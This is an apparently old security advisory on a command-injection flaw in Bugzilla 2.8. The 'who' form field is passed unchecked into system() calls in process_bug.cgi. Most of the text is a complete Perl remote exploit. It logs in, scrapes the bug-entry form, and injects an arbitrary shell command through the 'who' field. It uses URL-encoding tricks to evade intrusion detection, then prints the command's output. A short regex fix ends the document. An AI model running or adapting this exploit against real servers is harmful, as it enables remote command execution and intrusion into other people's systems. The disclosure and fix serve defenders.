Advisory: Unchecked system(blaat $var blaat) call in Bugzilla 2.8 Root66 - ShellOracle - b0f By {} - karin@root66.nl.eu.org /* * Introduction */ Bugzilla is a database for bugs. It let's people report bugs and assigns these bugs to the appropriate developers. Developer s can use bugzilla to keep a to-do list as well as to prioritize, schedule and track dependencies. Not all 'bugs' are bugs. So me items in the database are known as Enhancement Requests or Requests For Enhancement (RFE for short). An RFE is a bug whose s everity field is set to 'enhancement'. People often say 'bug' when they mean 'item in bugzilla', so RFE's often get wind up bei ng called bugs. Enter the tasks you're planning to work on as enhancement requests and bugzilla will help you track them and a llow others to see what you plan to work on. If people can see your flight plan, they can avoid duplicating your work and can p ossibly help out or offer feedback. This boils down to a set of cgi scripts, that connect to a database and play with bugreports. /* * The bug */ One of those scripts, `process_bug.cgi`, handles the submission of new bugs, and calls the perlscript `processmail` via system("./processmail $::FORM{'dup_id'} $::FORM{'who'}"); if this bugreport is a duplicate of the bug with id 'dup_id' system("./processmail $id $::FORM{'who'}"); for a normal bugreport system("./processmail $k $::FORM{'who'}"); for every bugreport that depend on this one. There are no checks on the contents of the field who (which $::FORM{'who'} refers to). /* * The exploit */ This can be exploited because $::FORM{'who'} is basically the field `who` when submitted a bug and there are no checks on it s contents. So we submit it with who=blaat@blaat.com;id;& This is my version of the exploit, it uses the duplicate option for a not existing bug so it won't even show up anywhere bec ause it is rejected (after the processmail) #!/usr/bin/perl # Bugzilla 2.8 remote exploit # by {} - karin@root66.nl.eu.org # RooT66 - http://root66.nl.eu.org # ShellOracle - http://www.shelloracle.cjb.net # b0f - http://b0f.freebsd.lublin.pl # # This exploits uses antiIDS tricks ripped from whisker # next 2 functinos stolen from whisker, commented by me sub rstr { # no, this is not a cryptographically-robust number generator my $str,$c; $drift=(rand() * 10) % 10; for($c=0;$c<10+$drift;$c++){ $str .= chr(((rand() * 26) % 26) + 97);} # yes, we only use a-z return $str;} sub antiIDS { ($url) = (@_); $url =~s/([-a-zA-Z0-9.\<\>\\\|\'\`])/sprintf("%%%x",ord($1))/ge; $url =~ s/\ /+/g; $url =~s/\//\/.\//g; return $url; } #end of stolen stuff ($complete_url, $Bugzilla_login, $Bugzilla_password, $command) = (@ARGV); print("Exploit for Bugzilla up to version 2.8\n"); print(" by {} - karin\@root66.nl.eu.org\n"); print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); print("RooT66 - http://root66.nl.eu.org\n"); print("ShellOracle - http://www.shelloracle.cjb.net\n"); print("b0f - http://b0f.freebsd.lublin.pl\n"); print("\n"); if ($complete_url eq "-h" || $complete_url eq "--help") { print("Usage: $0 url emailaddress password command\n"); exit; } # Get information of user if (!$complete_url) { print("URL: "); $complete_url = ; chomp($complete_url); $complete_url =~ s/http:\/\///; } if (!$Bugzilla_login) { print("EMAIL: "); $Bugzilla_login = ; chomp($Bugzilla_login); } if (!$Bugzilla_password) { print("PASSWORD: "); $Bugzilla_password = ; chomp($Bugzilla_password); } if (!$command) { print("COMMAND: "); $command = ; chomp($command); } # Set some variables $host = $complete_url; $host =~ s/\/.*//; $base_dir = $complete_url; $base_dir =~ s/^$host//; $base_dir =~ s/[a-zA-Z.]*$//; # Make own directory system("mkdir $$"); print("Getting information needed to submit our 'bug'\n"); # Get product name system("cd $$; lynx -source \"http://$host/" . antiIDS("$base_dir/enter_bug.cgi") . "?Bugzilla_login=" . antiIDS("$Bugzilla_lo gin") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password") . "\" > enter_bug.cgi"); open(FILE, "< $$/enter_bug.cgi"); while($input = ) { if ($input =~ /enter_bug.cgi\?product=/) { chomp($input); $product = $input; $product =~ s/.*product=//; $product =~ s/".*//; if ($product =~ /\&component=/) { $component = $product; $product =~ s/&.*//; # strip component $component =~ s/.*component=//; $component =~ s/".*//; } } } print("\tProduct: $product\n"); if ($component) { print("\tComponent: $component\n"); } # Get more information $page = antiIDS("$base_dir/enter_bug.cgi?") . "product=" . antiIDS("$product") . "&Bugzilla_login=" . antiIDS("$Bugzilla_login" ) . "&Bugzilla_password=" . antiIDS("$Bugzilla_password"); system("cd $$; lynx -dump \"http://$host/$page\" > enter_bug.cgi"); open(FILE, "< $$/enter_bug.cgi"); while($input = ) { chomp($input); if ($input =~ /Reporter:/) { $reporter = $input; $reporter =~ s/.*Reporter: //; $reporter =~ s/\ .*//; } if ($input =~ /Version:/) { $version = $input; $version =~ s/.*Version: \[//; $version =~ s/\.*\].*//; } if ($input =~ /Component:/) { $component = $input; $component =~ s/.*Component: \[//; $component =~ s/\.*\].*//; } if ($input =~ /Platform:/) { $platform = $input; $platform =~ s/.*Platform: \[//; $platform =~ s/\.*\].*//; } if ($input =~ /OS:/) { $os = $input; $os =~ s/.*OS: \[//; $os =~ s/\.*\].*//; } if ($input =~ /Priority:/) { $priority = $input; $priority =~ s/.*Priority: \[//; $priority =~ s/\].*//; } if ($input =~ /Severity:/) { $severity = $input; $severity =~ s/.*Severity: \[//; $severity =~ s/\.*\].*//; } } print("\tReporter: $reporter\n"); print("\tVersion: $version\n"); print("\tComponent: $component\n"); print("\tPlatform: $platform\n"); print("\tOS: $os\n"); print("\tPriority: $priority\n"); print("\tSeverity: $severity\n"); close(FILE); #liftoff print("Sending evil bug report\n"); $page = antiIDS("$base_dir/process_bug.cgi") . "?bug_status=" . antiIDS("NEW") . "&reporter=" . antiIDS($reporter) . "&product =" . antiIDS("$product") . "&version=" . antiIDS("$version") . "&component=" . antiIDS("$component") . "&rep_platform=" . antiI DS("$platform") . "&op_sys=" . antiIDS($os) . "&priority=" . antiIDS($priority) . "&bug_severity=" . antiIDS($severity) . "&who =". antiIDS("blaat\@blaat.com;echo \\START OUTPUT COMMAND;$command;echo \\<\\/pre\\>END OUTPUT COMMAND;") . "&knob=" . a ntiIDS("duplicate") . "&dup_id=" . antiIDS("202021234123412341234") . "&Bugzilla_login=" . antiIDS($Bugzilla_login) . "&Bugzill a_password=" . antiIDS($Bugzilla_password) . "&assigned_to=&cc=&bug_file_loc=&short_desc=&comment=&form_name=enter_bug"; system("cd $$; lynx -dump \"$host/$page\" > enter_bug.cgi"); open(FILE, "< $$/enter_bug.cgi"); while($input = ) { chomp($input); if ($input =~ /END OUTPUT COMMAND/) { $startoutput = 0; } if ($startoutput) { print("$input\n"); } if ($input =~ /START OUTPUT COMMAND/) { $startoutput = 1; } } close(FILE); # Delete shit system("rm -rf $$"); /* * The fix */ At the start of process_mail, we just set a regular expression on $::FORM{'who'} lets append to if (!defined $::FORM{'who'}) { $::FORM{'who'} = $::COOKIE{'Bugzilla_login'}; } the following: # fix by {} - karin@root66.nl.eu.org # we wouldn't like some hacker including shellchars, whould we? $::FORM{'who'} =~ s/[^a-zA-Z0-9\@_\-\.\/\+]//g; Secure tha planet! {} - karin@root66.nl.eu.org RooT66 - http://root66.nl.eu.org ShellOracle - http://www.shelloracle.cjb.net b0f - http://b0f.freebsd.lublin.pl